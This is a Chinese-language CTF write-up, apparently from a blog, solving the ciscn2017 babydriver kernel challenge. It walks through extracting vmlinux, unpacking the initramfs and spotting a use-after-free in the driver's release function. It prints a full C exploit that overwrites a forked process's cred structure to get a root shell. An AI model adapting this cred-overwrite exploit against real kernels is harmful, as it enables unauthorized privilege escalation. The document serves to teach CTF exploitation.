内核pwn入门之ciscn2017_babydrive UAF
解题步骤:
1.简短话语进行写博客吧,题目给了我们一个压缩包,把它解压,发现没有vmlinux,所以这里采用extract-vmlinux来进行提取vmlinux,为什么要提取这个文件,因为后期我们如果用到调试的时候需要调试这个文件 ./extract-vmlinux ./bzImage > vmlinux
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland <dick@streefland.net>
#
# (c) 2011 Corentin Chary <corentin.chary@gmail.com>
#
# ----------------------------------------------------------------------
check_vmlinux()
{
# Use readelf to check if it's a valid ELF
# TODO: find a better to way to check that it's really vmlinux
# and not just an elf
readelf -h $1 > /dev/null 2>&1 || return 1
cat $1
exit 0
}
try_decompress()
{
# The obscure use of the "tr" filter is to work around older versions of
# "grep" that report the byte offset of the line instead of the pattern.
# Try to find the header ($1) and decompress from here
for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
do
pos=${pos%%:*}
tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
check_vmlinux $tmp
done
}
# Check invocation:
me=${0##*/}
img=$1
if [ $# -ne 1 -o ! -s "$img" ]
then
echo "Usage: $me <kernel-image>" >&2
exit 2
fi
# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0
# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh' xy bunzip2
try_decompress '\135\0\0\0' xxx unlzma
try_decompress '\211\114\132' xy 'lzop -d'
try_decompress '\002!L\030' xxx 'lz4 -d'
try_decompress '(\265/\375' xxx unzstd
# Finally check for uncompressed images or objects:
check_vmlinux $img
# Bail out:
echo "$me: Cannot find vmlinux." >&2
2.在解压后我们看到一个cpio后缀名的压缩包,用mv工具转换成压缩包把它给解压出来,我们先建立一个临时的core文件
mkdir core
cd core
mv ../xxx.cpio ./xxx.cpio.tar.gz
gunzip xxx.cpio.tar.gz
3.下面我们查看init这个文件,看一下具体的内核操作
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console
insmod /lib/modules/4.4.72/babydriver.ko
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh
umount /proc
umount /sys
poweroff -d 0 -f
我们发现这个文件加载了驱动,驱动文件在/lib/modules/4.4.72/babydriver.ko下,下面我们就开始用ida逆向一下这个驱动看看有没有什么漏洞
![@4QRVZCX]DJVOXR0$JF%DW.png
我们看到了主函数加载了一些注册设备的信息,这里没什么特别重要的信息
我们再看看旁边的几个函数
我们再看看旁边的几个函数
read函数是把内核空间复制到了用户空间,读
write函数是把用户空间复制到了内核空间,完成了写
oict是free掉原先的空间,再次更新结构体
open函数是申请了0x40,更新了结构体
![KQL~D6J%MESFNIFC]B0WFJJ.png][5]
realse函数是free掉空间,但是相对于全局变量的babydev_struct变量,这个似乎没啥用,漏洞也就在这里了,存在了uaf
思路:打开两次设备,当我们申请第二次设备的时候,会覆盖第一次设备的,free掉一次设备,然后利用容易写,篡改len为cread大小0xa8,再次申请的时候会申请到了cread,然后再写一下多个0,就可以完成提权了,对了这里用启动一个子进程fock,才能照成重叠,具体原因我也不知道是啥
用c写的exp,通过exp更能理清楚上面的思路
exp:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
// 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
ioctl(fd1, 0x10001, 0xA8);
// 释放 fd1
close(fd1);
// 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
int pid = fork();//这里猜测启动一个进程会创建一个cred,所以要创建,申请到了fd1的0xa8的空间,len正好符合cred的size
if(pid < 0)
{
puts("[*] fork error!");
exit(0);
}
else if(pid == 0)
{
// 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0,为什么用fd2,因为fd2覆盖了fd1所以修改fd2可以直接修改fd1,又因为我们启动了一个进程,所以fd1被弄成了cred,直接write任意写下cread的0即可提权成功
char zeros[30] = {0};
write(fd2, zeros, 28);
if(getuid() == 0)
{
puts("[+] root now.");
system("/bin/sh");
exit(0);
}
}
else
{
wait(NULL);
}
close(fd2);
return 0;
}
写完脚本,先gcc一下,再重新打包运行boot.sh进到内核,运行一下exp即可
gcc exp.c --static -o exp
find . |cpio -o --format=newc > rootfs.cpio 重新打包
./boot.sh
至于调试,目前我还没搞明白咋调试的,等有时间把调试的东西,补上,看大佬的博客,调试步骤不是特别难,但是我不知道在调试之前如何设置确实一个大问题,噗嗤,等有时间再仔细研究研究
调试大概步骤:
查看符号表用于gdb导入:cat /sys/modules/device_name/sections/.text
gdb -q vmlinx
add-symbol-file xxxx.ko text_address
b babayopen
target remote localhost:1234
set architecture i386:x86-64:intel
c